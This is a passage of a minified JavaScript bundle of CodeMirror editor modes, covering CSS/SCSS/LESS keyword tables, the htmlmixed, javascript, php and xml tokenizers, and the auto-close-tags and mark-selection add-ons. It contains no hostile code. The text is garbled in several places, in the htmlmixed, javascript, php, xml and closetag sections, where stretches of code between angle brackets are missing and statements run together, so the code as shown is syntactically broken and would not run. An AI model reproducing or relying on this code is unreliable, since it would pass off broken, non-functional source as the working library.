coration-style","text-emphasis","text-emphasis-color","text-emphasis-position","text-emphasis-style","text-height","text-indent","text-justify","text-outline","text-overflow","text-shadow","text-size-adjust","text-space-collapse","text-transform","text-underline-position","text-wrap","top","transform","transform-origin","transform-style","transition","transition-delay","transition-duration","transition-property","transition-timing-function","unicode-bidi","vertical-align","visibility","voice-balance","voice-duration","voice-family","voice-pitch","voice-range","voice-rate","voice-stress","voice-volume","volume","white-space","widows","width","word-break","word-spacing","word-wrap","z-index","zoom","clip-path","clip-rule","mask","enable-background","filter","flood-color","flood-opacity","lighting-color","stop-color","stop-opacity","pointer-events","color-interpolation","color-interpolation-filters","color-profile","color-rendering","fill","fill-opacity","fill-rule","image-rendering","marker","marker-end","marker-mid","marker-start","shape-rendering","stroke","stroke-dasharray","stroke-dashoffset","stroke-linecap","stroke-linejoin","stroke-miterlimit","stroke-opacity","stroke-width","text-rendering","baseline-shift","dominant-baseline","glyph-orientation-horizontal","glyph-orientation-vertical","kerning","text-anchor","writing-mode"],h=b(g),i=["aliceblue","antiquewhite","aqua","aquamarine","azure","beige","bisque","black","blanchedalmond","blue","blueviolet","brown","burlywood","cadetblue","chartreuse","chocolate","coral","cornflowerblue","cornsilk","crimson","cyan","darkblue","darkcyan","darkgoldenrod","darkgray","darkgreen","darkkhaki","darkmagenta","darkolivegreen","darkorange","darkorchid","darkred","darksalmon","darkseagreen","darkslateblue","darkslategray","darkturquoise","darkviolet","deeppink","deepskyblue","dimgray","dodgerblue","firebrick","floralwhite","forestgreen","fuchsia","gainsboro","ghostwhite","gold","goldenrod","gray","grey","green","greenyellow","honeydew","hotpink","indianred","indigo","ivory","khaki","lavender","lavenderblush","lawngreen","lemonchiffon","lightblue","lightcoral","lightcyan","lightgoldenrodyellow","lightgray","lightgreen","lightpink","lightsalmon","lightseagreen","lightskyblue","lightslategray","lightsteelblue","lightyellow","lime","limegreen","linen","magenta","maroon","mediumaquamarine","mediumblue","mediumorchid","mediumpurple","mediumseagreen","mediumslateblue","mediumspringgreen","mediumturquoise","mediumvioletred","midnightblue","mintcream","mistyrose","moccasin","navajowhite","navy","oldlace","olive","olivedrab","orange","orangered","orchid","palegoldenrod","palegreen","paleturquoise","palevioletred","papayawhip","peachpuff","peru","pink","plum","powderblue","purple","red","rosybrown","royalblue","saddlebrown","salmon","sandybrown","seagreen","seashell","sienna","silver","skyblue","slateblue","slategray","snow","springgreen","steelblue","tan","teal","thistle","tomato","turquoise","violet","wheat","white","whitesmoke","yellow","yellowgreen"],j=b(i),k=["above","absolute","activeborder","activecaption","afar","after-white-space","ahead","alias","all","all-scroll","alternate","always","amharic","amharic-abegede","antialiased","appworkspace","arabic-indic","armenian","asterisks","auto","avoid","avoid-column","avoid-page","avoid-region","background","backwards","baseline","below","bidi-override","binary","bengali","blink","block","block-axis","bold","bolder","border","border-box","both","bottom","break","break-all","break-word","button","button-bevel","buttonface","buttonhighlight","buttonshadow","buttontext","cambodian","capitalize","caps-lock-indicator","caption","captiontext","caret","cell","center","checkbox","circle","cjk-earthly-branch","cjk-heavenly-stem","cjk-ideographic","clear","clip","close-quote","col-resize","collapse","column","compact","condensed","contain","content","content-box","context-menu","continuous","copy","cover","crop","cross","crosshair","currentcolor","cursive","dashed","decimal","decimal-leading-zero","default","default-button","destination-atop","destination-in","destination-out","destination-over","devanagari","disc","discard","document","dot-dash","dot-dot-dash","dotted","double","down","e-resize","ease","ease-in","ease-in-out","ease-out","element","ellipse","ellipsis","embed","end","ethiopic","ethiopic-abegede","ethiopic-abegede-am-et","ethiopic-abegede-gez","ethiopic-abegede-ti-er","ethiopic-abegede-ti-et","ethiopic-halehame-aa-er","ethiopic-halehame-aa-et","ethiopic-halehame-am-et","ethiopic-halehame-gez","ethiopic-halehame-om-et","ethiopic-halehame-sid-et","ethiopic-halehame-so-et","ethiopic-halehame-ti-er","ethiopic-halehame-ti-et","ethiopic-halehame-tig","ew-resize","expanded","extra-condensed","extra-expanded","fantasy","fast","fill","fixed","flat","footnotes","forwards","from","geometricPrecision","georgian","graytext","groove","gujarati","gurmukhi","hand","hangul","hangul-consonant","hebrew","help","hidden","hide","higher","highlight","highlighttext","hiragana","hiragana-iroha","horizontal","hsl","hsla","icon","ignore","inactiveborder","inactivecaption","inactivecaptiontext","infinite","infobackground","infotext","inherit","initial","inline","inline-axis","inline-block","inline-table","inset","inside","intrinsic","invert","italic","justify","kannada","katakana","katakana-iroha","keep-all","khmer","landscape","lao","large","larger","left","level","lighter","line-through","linear","lines","list-item","listbox","listitem","local","logical","loud","lower","lower-alpha","lower-armenian","lower-greek","lower-hexadecimal","lower-latin","lower-norwegian","lower-roman","lowercase","ltr","malayalam","match","media-controls-background","media-current-time-display","media-fullscreen-button","media-mute-button","media-play-button","media-return-to-realtime-button","media-rewind-button","media-seek-back-button","media-seek-forward-button","media-slider","media-sliderthumb","media-time-remaining-display","media-volume-slider","media-volume-slider-container","media-volume-sliderthumb","medium","menu","menulist","menulist-button","menulist-text","menulist-textfield","menutext","message-box","middle","min-intrinsic","mix","mongolian","monospace","move","multiple","myanmar","n-resize","narrower","ne-resize","nesw-resize","no-close-quote","no-drop","no-open-quote","no-repeat","none","normal","not-allowed","nowrap","ns-resize","nw-resize","nwse-resize","oblique","octal","open-quote","optimizeLegibility","optimizeSpeed","oriya","oromo","outset","outside","outside-shape","overlay","overline","padding","padding-box","painted","page","paused","persian","plus-darker","plus-lighter","pointer","polygon","portrait","pre","pre-line","pre-wrap","preserve-3d","progress","push-button","radio","read-only","read-write","read-write-plaintext-only","rectangle","region","relative","repeat","repeat-x","repeat-y","reset","reverse","rgb","rgba","ridge","right","round","row-resize","rtl","run-in","running","s-resize","sans-serif","scroll","scrollbar","se-resize","searchfield","searchfield-cancel-button","searchfield-decoration","searchfield-results-button","searchfield-results-decoration","semi-condensed","semi-expanded","separate","serif","show","sidama","single","skip-white-space","slide","slider-horizontal","slider-vertical","sliderthumb-horizontal","sliderthumb-vertical","slow","small","small-caps","small-caption","smaller","solid","somali","source-atop","source-in","source-out","source-over","space","square","square-button","start","static","status-bar","stretch","stroke","sub","subpixel-antialiased","super","sw-resize","table","table-caption","table-cell","table-column","table-column-group","table-footer-group","table-header-group","table-row","table-row-group","telugu","text","text-bottom","text-top","textarea","textfield","thai","thick","thin","threeddarkshadow","threedface","threedhighlight","threedlightshadow","threedshadow","tibetan","tigre","tigrinya-er","tigrinya-er-abegede","tigrinya-et","tigrinya-et-abegede","to","top","transparent","ultra-condensed","ultra-expanded","underline","up","upper-alpha","upper-armenian","upper-greek","upper-hexadecimal","upper-latin","upper-norwegian","upper-roman","uppercase","urdu","url","vertical","vertical-text","visible","visibleFill","visiblePainted","visibleStroke","visual","w-resize","wait","wave","wider","window","windowframe","windowtext","x-large","x-small","xor","xx-large","xx-small"],l=b(k),m=["font-family","src","unicode-range","font-variant","font-feature-settings","font-stretch","font-weight","font-style"],n=b(m),o=c.concat(e).concat(g).concat(i).concat(k);a.registerHelper("hintWords","css",o),a.defineMIME("text/css",{mediaTypes:d,mediaFeatures:f,propertyKeywords:h,colorKeywords:j,valueKeywords:l,fontProperties:n,tokenHooks:{"<":function(a,b){return a.match("!--")?(b.tokenize=q,q(a,b)):!1},"/":function(a,b){return a.eat("*")?(b.tokenize=p,p(a,b)):!1}},name:"css"}),a.defineMIME("text/x-scss",{mediaTypes:d,mediaFeatures:f,propertyKeywords:h,colorKeywords:j,valueKeywords:l,fontProperties:n,allowNested:!0,tokenHooks:{"/":function(a,b){return a.eat("/")?(a.skipToEnd(),["comment","comment"]):a.eat("*")?(b.tokenize=p,p(a,b)):["operator","operator"]},":":function(a){return a.match(/\s*{/)?[null,"{"]:!1},$:function(a){return a.match(/^[\w-]+/),a.match(/^\s*:/,!1)?["variable-2","variable-definition"]:["variable-2","variable"]},"#":function(a){return a.eat("{")?[null,"interpolation"]:!1}},name:"css",helperType:"scss"}),a.defineMIME("text/x-less",{mediaTypes:d,mediaFeatures:f,propertyKeywords:h,colorKeywords:j,valueKeywords:l,fontProperties:n,allowNested:!0,tokenHooks:{"/":function(a,b){return a.eat("/")?(a.skipToEnd(),["comment","comment"]):a.eat("*")?(b.tokenize=p,p(a,b)):["operator","operator"]},"@":function(a){return a.match(/^(charset|document|font-face|import|(-(moz|ms|o|webkit)-)?keyframes|media|namespace|page|supports)\b/,!1)?!1:(a.eatWhile(/[\w\\\-]/),a.match(/^\s*:/,!1)?["variable-2","variable-definition"]:["variable-2","variable"])},"&":function(){return["atom","atom"]}},name:"css",helperType:"less"})}),function(a){"object"==typeof exports&&"object"==typeof module?a(require("../../lib/codemirror"),require("../xml/xml"),require("../javascript/javascript"),require("../css/css")):"function"==typeof define&&define.amd?define(["../../lib/codemirror","../xml/xml","../javascript/javascript","../css/css"],a):a(CodeMirror)}(function(a){"use strict";a.defineMode("htmlmixed",function(b,c){function j(a,b){var c=b.htmlState.tagName,g=d.token(a,b.htmlState);if("script"==c&&/\btag\b/.test(g)&&">"==a.current()){var h=a.string.slice(Math.max(0,a.pos-100),a.pos).match(/\btype\s*=\s*("[^"]+"|'[^']+'|\S+)[^<]*$/i);h=h?h[1]:"",h&&/[\"\']/.test(h.charAt(0))&&(h=h.slice(1,h.length-1));for(var i=0;i"==a.current()&&(b.token=m,b.localMode=e,b.localState=e.startState(d.indent(b.htmlState,"")));return g}function k(a,b,c){var f,d=a.current(),e=d.search(b);return e>-1?a.backUp(d.length-e):(f=d.match(/<\/?$/))&&(a.backUp(d.length),a.match(b,!1)||a.match(d)),c}function l(a,b){return a.match(/^<\/\s*script\s*>/i,!1)?(b.token=j,b.localState=b.localMode=null,j(a,b)):k(a,/<\/\s*script\s*>/,b.localMode.token(a,b.localState))}function m(a,b){return a.match(/^<\/\s*style\s*>/i,!1)?(b.token=j,b.localState=b.localMode=null,j(a,b)):k(a,/<\/\s*style\s*>/,e.token(a,b.localState))}var d=a.getMode(b,{name:"xml",htmlMode:!0,multilineTagIndentFactor:c.multilineTagIndentFactor,multilineTagIndentPastTag:c.multilineTagIndentPastTag}),e=a.getMode(b,"css"),f=[],g=c&&c.scriptTypes;if(f.push({matches:/^(?:text|application)\/(?:x-)?(?:java|ecma)script$|^$/i,mode:a.getMode(b,"javascript")}),g)for(var h=0;h"))return o("=>","operator");if("0"==c&&a.eat(/x/i))return a.eatWhile(/[\da-f]/i),o("number","number");if(/\d/.test(c))return a.match(/^\d*(?:\.\d*)?(?:[eE][+\-]?\d+)?/),o("number","number");if("/"==c)return a.eat("*")?(b.tokenize=r,r(a,b)):a.eat("/")?(a.skipToEnd(),o("comment","comment")):"operator"==b.lastType||"keyword c"==b.lastType||"sof"==b.lastType||/^[\[{}\(,;:]$/.test(b.lastType)?(l(a),a.eatWhile(/[gimy]/),o("regexp","string-2")):(a.eatWhile(j),o("operator","operator",a.current()));if("`"==c)return b.tokenize=s,s(a,b);if("#"==c)return a.skipToEnd(),o("error","error");if(j.test(c))return a.eatWhile(j),o("operator","operator",a.current());a.eatWhile(/[\w\$_]/);var d=a.current(),e=i.propertyIsEnumerable(d)&&i[d];return e&&"."!=b.lastType?o(e.type,e.style,d):o("variable","variable",d)}function q(a){return function(b,c){var e,d=!1;if(f&&"@"==b.peek()&&b.match(k))return c.tokenize=p,o("jsonld-keyword","meta");for(;null!=(e=b.next())&&(e!=a||d);)d=!d&&"\\"==e;return d||(c.tokenize=p),o("string","string")}}function r(a,b){for(var d,c=!1;d=a.next();){if("/"==d&&c){b.tokenize=p;break}c="*"==d}return o("comment","comment")}function s(a,b){for(var d,c=!1;null!=(d=a.next());){if(!c&&("`"==d||"$"==d&&a.eat("{"))){b.tokenize=p;break}c=!c&&"\\"==d}return o("quasi","string-2",a.current())}function u(a,b){b.fatArrowAt&&(b.fatArrowAt=null);var c=a.string.indexOf("=>",a.start);if(!(0>c)){for(var d=0,e=!1,f=c-1;f>=0;--f){var g=a.string.charAt(f),h=t.indexOf(g); if(h>=0&&3>h){if(!d){++f;break}if(0==--d)break}else if(h>=3&&6>h)++d;else if(/[$\w]/.test(g))e=!0;else if(e&&!d){++f;break}}e&&!d&&(b.fatArrowAt=f)}}function w(a,b,c,d,e,f){this.indented=a,this.column=b,this.type=c,this.prev=e,this.info=f,null!=d&&(this.align=d)}function x(a,b){for(var c=a.localVars;c;c=c.next)if(c.name==b)return!0;for(var d=a.context;d;d=d.prev)for(var c=d.vars;c;c=c.next)if(c.name==b)return!0}function y(a,b,c,d,e){var f=a.cc;for(z.state=a,z.stream=e,z.marked=null,z.cc=f,a.lexical.hasOwnProperty("align")||(a.lexical.align=!0);;){var h=f.length?f.pop():g?K:J;if(h(c,d)){for(;f.length&&f[f.length-1].lex;)f.pop()();return z.marked?z.marked:"variable"==c&&x(a,d)?"variable-2":b}}}function A(){for(var a=arguments.length-1;a>=0;a--)z.cc.push(arguments[a])}function B(){return A.apply(null,arguments),!0}function C(a){function b(b){for(var c=b;c;c=c.next)if(c.name==a)return!0;return!1}var d=z.state;if(d.context){if(z.marked="def",b(d.localVars))return;d.localVars={name:a,next:d.localVars}}else{if(b(d.globalVars))return;c.globalVars&&(d.globalVars={name:a,next:d.globalVars})}}function E(){z.state.context={prev:z.state.context,vars:z.state.localVars},z.state.localVars=D}function F(){z.state.localVars=z.state.context.vars,z.state.context=z.state.context.prev}function G(a,b){var c=function(){var c=z.state,d=c.indented;"stat"==c.lexical.type&&(d=c.lexical.indented),c.lexical=new w(d,z.stream.column(),a,null,c.lexical,b)};return c.lex=!0,c}function H(){var a=z.state;a.lexical.prev&&(")"==a.lexical.type&&(a.indented=a.lexical.indented),a.lexical=a.lexical.prev)}function I(a){function b(c){return c==a?B():";"==a?A():B(b)}return b}function J(a,b){return"var"==a?B(G("vardef",b.length),db,I(";"),H):"keyword a"==a?B(G("form"),K,J,H):"keyword b"==a?B(G("form"),J,H):"{"==a?B(G("}"),ab,H):";"==a?B():"if"==a?B(G("form"),K,J,H,ib):"function"==a?B(ob):"for"==a?B(G("form"),jb,J,H):"variable"==a?B(G("stat"),V):"switch"==a?B(G("form"),K,G("}","switch"),I("{"),ab,H,H):"case"==a?B(K,I(":")):"default"==a?B(I(":")):"catch"==a?B(G("form"),E,I("("),pb,I(")"),J,H,F):"module"==a?B(G("form"),E,tb,F,H):"class"==a?B(G("form"),qb,sb,H):"export"==a?B(G("form"),ub,H):"import"==a?B(G("form"),vb,H):A(G("stat"),K,I(";"),H)}function K(a){return M(a,!1)}function L(a){return M(a,!0)}function M(a,b){if(z.state.fatArrowAt==z.stream.start){var c=b?U:T;if("("==a)return B(E,G(")"),$(eb,")"),H,I("=>"),c,F);if("variable"==a)return A(E,eb,I("=>"),c,F)}var d=b?Q:P;return v.hasOwnProperty(a)?B(d):"function"==a?B(ob):"keyword c"==a?B(b?O:N):"("==a?B(G(")"),N,Ab,I(")"),H,d):"operator"==a||"spread"==a?B(b?L:K):"["==a?B(G("]"),yb,H,d):"{"==a?_(X,"}",null,d):B()}function N(a){return a.match(/[;\}\)\],]/)?A():A(K)}function O(a){return a.match(/[;\}\)\],]/)?A():A(L)}function P(a,b){return","==a?B(K):Q(a,b,!1)}function Q(a,b,c){var d=0==c?P:Q,e=0==c?K:L;return"=>"==b?B(E,c?U:T,F):"operator"==a?/\+\+|--/.test(b)?B(d):"?"==b?B(K,I(":"),e):B(e):"quasi"==a?(z.cc.push(d),R(b)):";"!=a?"("==a?_(L,")","call",d):"."==a?B(W,d):"["==a?B(G("]"),N,I("]"),H,d):void 0:void 0}function R(a){return"${"!=a.slice(a.length-2)?B():B(K,S)}function S(a){return"}"==a?(z.marked="string-2",z.state.tokenize=s,B()):void 0}function T(a){return u(z.stream,z.state),"{"==a?A(J):A(K)}function U(a){return u(z.stream,z.state),"{"==a?A(J):A(L)}function V(a){return":"==a?B(H,J):A(P,I(";"),H)}function W(a){return"variable"==a?(z.marked="property",B()):void 0}function X(a,b){if("variable"==a){if(z.marked="property","get"==b||"set"==b)return B(Y)}else if("number"==a||"string"==a)z.marked=f?"property":a+" property";else if("["==a)return B(K,I("]"),Z);return v.hasOwnProperty(a)?B(Z):void 0}function Y(a){return"variable"!=a?A(Z):(z.marked="property",B(ob))}function Z(a){return":"==a?B(L):"("==a?A(ob):void 0}function $(a,b){function c(d){if(","==d){var e=z.state.lexical;return"call"==e.info&&(e.pos=(e.pos||0)+1),B(a,c)}return d==b?B():B(I(b))}return function(d){return d==b?B():A(a,c)}}function _(a,b,c){for(var d=3;d!?|~^]/,k=/^@(context|id|value|language|type|container|list|set|reverse|index|base|vocab|graph)"/,t="([{}])",v={atom:!0,number:!0,variable:!0,string:!0,regexp:!0,"this":!0,"jsonld-keyword":!0},z={state:null,column:null,marked:null,cc:null},D={name:"this",next:{name:"arguments"}};return H.lex=!0,{startState:function(a){var b={tokenize:p,lastType:"sof",cc:[],lexical:new w((a||0)-d,0,"block",!1),localVars:c.localVars,context:c.localVars&&{vars:c.localVars},indented:0};return c.globalVars&&"object"==typeof c.globalVars&&(b.globalVars=c.globalVars),b},token:function(a,b){if(a.sol()&&(b.lexical.hasOwnProperty("align")||(b.lexical.align=!1),b.indented=a.indentation(),u(a,b)),b.tokenize!=r&&a.eatSpace())return null;var c=b.tokenize(a,b);return"comment"==m?c:(b.lastType="operator"!=m||"++"!=n&&"--"!=n?m:"incdec",y(b,c,m,n,a))},indent:function(b,f){if(b.tokenize==r)return a.Pass;if(b.tokenize!=p)return 0;for(var g=f&&f.charAt(0),h=b.lexical,i=b.cc.length-1;i>=0;--i){var j=b.cc[i];if(j==H)h=h.prev;else if(j!=ib)break}"stat"==h.type&&"}"==g&&(h=h.prev),e&&")"==h.type&&"stat"==h.prev.type&&(h=h.prev);var k=h.type,l=g==k;return"vardef"==k?h.indented+("operator"==b.lastType||","==b.lastType?h.info+1:0):"form"==k&&"{"==g?h.indented:"form"==k?h.indented+d:"stat"==k?h.indented+("operator"==b.lastType||","==b.lastType?e||d:0):"switch"!=h.info||l||0==c.doubleIndentSwitch?h.align?h.column+(l?0:1):h.indented+(l?0:d):h.indented+(/^(?:case|default)\b/.test(f)?d:2*d)},electricChars:":{}",blockCommentStart:g?null:"/*",blockCommentEnd:g?null:"*/",lineComment:g?null:"//",fold:"brace",helperType:g?"json":"javascript",jsonldMode:f,jsonMode:g}}),a.defineMIME("text/javascript","javascript"),a.defineMIME("text/ecmascript","javascript"),a.defineMIME("application/javascript","javascript"),a.defineMIME("application/ecmascript","javascript"),a.defineMIME("application/json",{name:"javascript",json:!0}),a.defineMIME("application/x-json",{name:"javascript",json:!0}),a.defineMIME("application/ld+json",{name:"javascript",jsonld:!0}),a.defineMIME("text/typescript",{name:"javascript",typescript:!0}),a.defineMIME("application/typescript",{name:"javascript",typescript:!0})}),function(a){"object"==typeof exports&&"object"==typeof module?a(require("../../lib/codemirror"),require("../htmlmixed/htmlmixed"),require("../clike/clike")):"function"==typeof define&&define.amd?define(["../../lib/codemirror","../htmlmixed/htmlmixed","../clike/clike"],a):a(CodeMirror)}(function(a){"use strict";function b(a){for(var b={},c=a.split(" "),d=0;d",!1);)a.next();return"comment"},"/":function(a){if(a.eat("/")){for(;!a.eol()&&!a.match("?>",!1);)a.next();return"comment"}return!1}}};a.defineMode("php",function(b,c){function g(a,b){var c=b.curMode==f;if(a.sol()&&b.pending&&'"'!=b.pending&&"'"!=b.pending&&(b.pending=null),c)return c&&null==b.php.tokenize&&a.match("?>")?(b.curMode=e,b.curState=b.html,"meta"):f.token(a,b.curState);if(a.match(/^<\?\w*/))return b.curMode=f,b.curState=b.php,"meta";if('"'==b.pending||"'"==b.pending){for(;!a.eol()&&a.next()!=b.pending;);var d="string"}else if(b.pending&&a.pos/.test(g)?i[0]:{end:a.pos,style:d},a.backUp(g.length-h)),d}var e=a.getMode(b,"text/html"),f=a.getMode(b,d);return{startState:function(){var b=a.startState(e),d=a.startState(f);return{html:b,php:d,curMode:c.startOpen?f:e,curState:c.startOpen?d:b,pending:null}},copyState:function(b){var i,c=b.html,d=a.copyState(e,c),g=b.php,h=a.copyState(f,g);return i=b.curMode==e?d:h,{html:d,php:h,curMode:b.curMode,curState:i,pending:b.pending}},token:g,indent:function(a,b){return a.curMode!=f&&/^\s*<\//.test(b)||a.curMode==f&&/^\?>/.test(b)?e.indent(a.html,b):a.curMode.indent(a.curState,b)},blockCommentStart:"/*",blockCommentEnd:"*/",lineComment:"//",innerMode:function(a){return{state:a.curState,mode:a.curMode}}}},"htmlmixed","clike"),a.defineMIME("application/x-httpd-php","php"),a.defineMIME("application/x-httpd-php-open",{name:"php",startOpen:!0}),a.defineMIME("text/x-php",d)}),function(a){"object"==typeof exports&&"object"==typeof module?a(require("../../lib/codemirror")):"function"==typeof define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)}(function(a){"use strict";a.defineMode("xml",function(b,c){function l(a,b){function c(c){return b.tokenize=c,c(a,b)}var d=a.next();if("<"==d){if(a.eat("!"))return a.eat("[")?a.match("CDATA[")?c(o("atom","]]>")):null:a.match("--")?c(o("comment","-->")):a.match("DOCTYPE",!0,!0)?(a.eatWhile(/[\w\._\-]/),c(p(1))):null;if(a.eat("?"))return a.eatWhile(/[\w\._\-]/),b.tokenize=o("meta","?>"),"meta";var e=a.eat("/");i="";for(var f;f=a.eat(/[^\s\u00a0=<>\"\'\/?]/);)i+=f;return g.caseFold&&(i=i.toLowerCase()),i?(j=e?"closeTag":"openTag",b.tokenize=m,"tag"):"tag error"}if("&"==d){var h;return h=a.eat("#")?a.eat("x")?a.eatWhile(/[a-fA-F\d]/)&&a.eat(";"):a.eatWhile(/[\d]/)&&a.eat(";"):a.eatWhile(/[\w\.\-:]/)&&a.eat(";"),h?"atom":"error"}return a.eatWhile(/[^&<]/),null}function m(a,b){var c=a.next();if(">"==c||"/"==c&&a.eat(">"))return b.tokenize=l,j=">"==c?"endTag":"selfcloseTag","tag";if("="==c)return j="equals",null;if("<"==c){b.tokenize=l,b.state=t,b.tagName=b.tagStart=null;var d=b.tokenize(a,b);return d?d+" error":"error"}return/[\'\"]/.test(c)?(b.tokenize=n(c),b.stringStartCol=a.column(),b.tokenize(a,b)):(a.eatWhile(/[^\s\u00a0=<>\"\']/),"word")}function n(a){var b=function(b,c){for(;!b.eol();)if(b.next()==a){c.tokenize=m;break}return"string"};return b.isInAttribute=!0,b}function o(a,b){return function(c,d){for(;!c.eol();){if(c.match(b)){d.tokenize=l;break}c.next()}return a}}function p(a){return function(b,c){for(var d;null!=(d=b.next());){if("<"==d)return c.tokenize=p(a+1),c.tokenize(b,c);if(">"==d){if(1==a){c.tokenize=l;break}return c.tokenize=p(a-1),c.tokenize(b,c)}}return"meta"}}function q(a,b,c){this.prev=a.context,this.tagName=b,this.indent=a.indented,this.startOfLine=c,(g.doNotIndent.hasOwnProperty(b)||a.context&&a.context.noIndent)&&(this.noIndent=!0)}function r(a){a.context&&(a.context=a.context.prev)}function s(a,b){for(var c;;){if(!a.context)return;if(c=a.context.tagName,!g.contextGrabbers.hasOwnProperty(c)||!g.contextGrabbers[c].hasOwnProperty(b))return;r(a)}}function t(a,b,c){if("openTag"==a)return c.tagName=i,c.tagStart=b.column(),w;if("closeTag"==a){var d=!1;return c.context?c.context.tagName!=i&&(g.implicitlyClosed.hasOwnProperty(c.context.tagName)&&r(c),d=!c.context||c.context.tagName!=i):d=!0,d&&(k="error"),d?v:u}return t}function u(a,b,c){return"endTag"!=a?(k="error",u):(r(c),t)}function v(a,b,c){return k="error",u(a,b,c)}function w(a,b,c){if("word"==a)return k="attribute",x;if("endTag"==a||"selfcloseTag"==a){var d=c.tagName,e=c.tagStart;return c.tagName=c.tagStart=null,"selfcloseTag"==a||g.autoSelfClosers.hasOwnProperty(d)?s(c,d):(s(c,d),c.context=new q(c,d,e==c.indented)),t}return k="error",w}function x(a,b,c){return"equals"==a?y:(g.allowMissing||(k="error"),w(a,b,c))}function y(a,b,c){return"string"==a?z:"word"==a&&g.allowUnquoted?(k="string",w):(k="error",w(a,b,c))}function z(a,b,c){return"string"==a?z:w(a,b,c)}var d=b.indentUnit,e=c.multilineTagIndentFactor||1,f=c.multilineTagIndentPastTag;null==f&&(f=!0);var i,j,k,g=c.htmlMode?{autoSelfClosers:{area:!0,base:!0,br:!0,col:!0,command:!0,embed:!0,frame:!0,hr:!0,img:!0,input:!0,keygen:!0,link:!0,meta:!0,param:!0,source:!0,track:!0,wbr:!0},implicitlyClosed:{dd:!0,li:!0,optgroup:!0,option:!0,p:!0,rp:!0,rt:!0,tbody:!0,td:!0,tfoot:!0,th:!0,tr:!0},contextGrabbers:{dd:{dd:!0,dt:!0},dt:{dd:!0,dt:!0},li:{li:!0},option:{option:!0,optgroup:!0},optgroup:{optgroup:!0},p:{address:!0,article:!0,aside:!0,blockquote:!0,dir:!0,div:!0,dl:!0,fieldset:!0,footer:!0,form:!0,h1:!0,h2:!0,h3:!0,h4:!0,h5:!0,h6:!0,header:!0,hgroup:!0,hr:!0,menu:!0,nav:!0,ol:!0,p:!0,pre:!0,section:!0,table:!0,ul:!0},rp:{rp:!0,rt:!0},rt:{rp:!0,rt:!0},tbody:{tbody:!0,tfoot:!0},td:{td:!0,th:!0},tfoot:{tbody:!0},th:{td:!0,th:!0},thead:{tbody:!0,tfoot:!0},tr:{tr:!0}},doNotIndent:{pre:!0},allowUnquoted:!0,allowMissing:!0,caseFold:!0}:{autoSelfClosers:{},implicitlyClosed:{},contextGrabbers:{},doNotIndent:{},allowUnquoted:!1,allowMissing:!1,caseFold:!1},h=c.alignCDATA;return{startState:function(){return{tokenize:l,state:t,indented:0,tagName:null,tagStart:null,context:null}},token:function(a,b){if(!b.tagName&&a.sol()&&(b.indented=a.indentation()),a.eatSpace())return null;i=j=null;var c=b.tokenize(a,b);return(c||j)&&"comment"!=c&&(k=null,b.state=b.state(j||c,a,b),k&&(c="error"==k?c+" error":k)),c},indent:function(b,c,g){var i=b.context;if(b.tokenize.isInAttribute)return b.stringStartCol+1;if(i&&i.noIndent)return a.Pass;if(b.tokenize!=m&&b.tokenize!=l)return g?g.match(/^(\s*)/)[0].length:0;if(b.tagName)return f?b.tagStart+b.tagName.length+2:b.tagStart+d*e;if(h&&/",configuration:c.htmlMode?"html":"xml",helperType:c.htmlMode?"html":"xml"}}),a.defineMIME("text/xml","xml"),a.defineMIME("application/xml","xml"),a.mimeModes.hasOwnProperty("text/html")||a.defineMIME("text/html",{name:"xml",htmlMode:!0})}),function(a){"object"==typeof exports&&"object"==typeof module?a(require("../../lib/codemirror")):"function"==typeof define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)}(function(a){"use strict";function d(a){for(var d=0;d=0;f--){var h=d[f].head;c.replaceRange("",a.Pos(h.line,h.ch-1),a.Pos(h.line,h.ch+1))}}},f="",g=0;g=0||d.test(i)))return a.Pass;m="both"}else m="surround";if(h){if(h!=m)return a.Pass}else h=m}if("skip"==h)c.execCommand("goCharRight");else if("surround"==h){for(var n=c.getSelections(),j=0;ji.ch&&(q=q.slice(0,q.length-j.end+i.ch));var r=q.toLowerCase();if(!q||"string"==j.type&&(j.end!=i.ch||!/[\"\']/.test(j.string.charAt(j.string.length-1))||1==j.string.length)||"tag"==j.type&&"closeTag"==l.type||j.string.indexOf("/")==j.string.length-1||o&&f(o,r)>-1||a.scanForClosingTag&&a.scanForClosingTag(d,i,q,Math.min(d.lastLine()+1,i.line+50)))return a.Pass;var s=p&&f(p,r)>-1;g[h]={indent:s,text:">"+(s?"\n\n":"")+"",newPos:s?a.Pos(i.line+1,0):a.Pos(i.line,i.ch+1)}}for(var h=e.length-1;h>=0;h--){var t=g[h];d.replaceRange(t.text,e[h].head,e[h].anchor,"+insert");var u=d.listSelections().slice(0);u[h]={head:t.newPos,anchor:t.newPos},d.setSelections(u),t.indent&&(d.indentLine(t.newPos.line,null,!0),d.indentLine(t.newPos.line+1,null,!0))}}function e(b){if(b.getOption("disableInput"))return a.Pass;for(var c=b.listSelections(),d=[],e=0;e"}b.replaceSelections(d)}function f(a,b){if(a.indexOf)return a.indexOf(b);for(var c=0,d=a.length;d>c;++c)if(a[c]==b)return c;return-1}a.defineOption("autoCloseTags",!1,function(b,c,f){if(f!=a.Init&&f&&b.removeKeyMap("autoCloseTags"),c){var g={name:"autoCloseTags"};("object"!=typeof c||c.whenClosing)&&(g["'/'"]=function(a){return e(a)}),("object"!=typeof c||c.whenOpening)&&(g["'>'"]=function(a){return d(a)}),b.addKeyMap(g)}});var b=["area","base","br","col","command","embed","hr","img","input","keygen","link","meta","param","source","track","wbr"],c=["applet","blockquote","body","button","div","dl","fieldset","form","frameset","h1","h2","h3","h4","h5","h6","head","html","iframe","layer","legend","object","ol","p","select","table","ul"]}),function(a){"object"==typeof exports&&"object"==typeof module?a(require("../../lib/codemirror")):"function"==typeof define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)}(function(a){"use strict";function b(a){a.operation(function(){j(a)})}function c(a){a.state.markedSelection.length&&a.operation(function(){h(a)})}function g(a,b,c,g){if(0!=f(b,c))for(var h=a.state.markedSelection,i=a.state.markedSelectionStyle,j=b.line;;){var k=j==b.line?b:e(j,0),l=j+d,m=l>=c.line,n=m?c:e(l,0),o=a.markText(k,n,{className:i});if(null==g?h.push(o):h.splice(g++,0,o),m)break;j=l}}function h(a){for(var b=a.state.markedSelection,c=0;c1)return i(a);var b=a.getCursor("start"),c=a.getCursor("end"),e=a.state.markedSelection;if(!e.length)return g(a,b,c);var j=e[0].find(),k=e[e.length-1].find();if(!j||!k||c.line-b.line=0||f(c,j.from)<=0)return 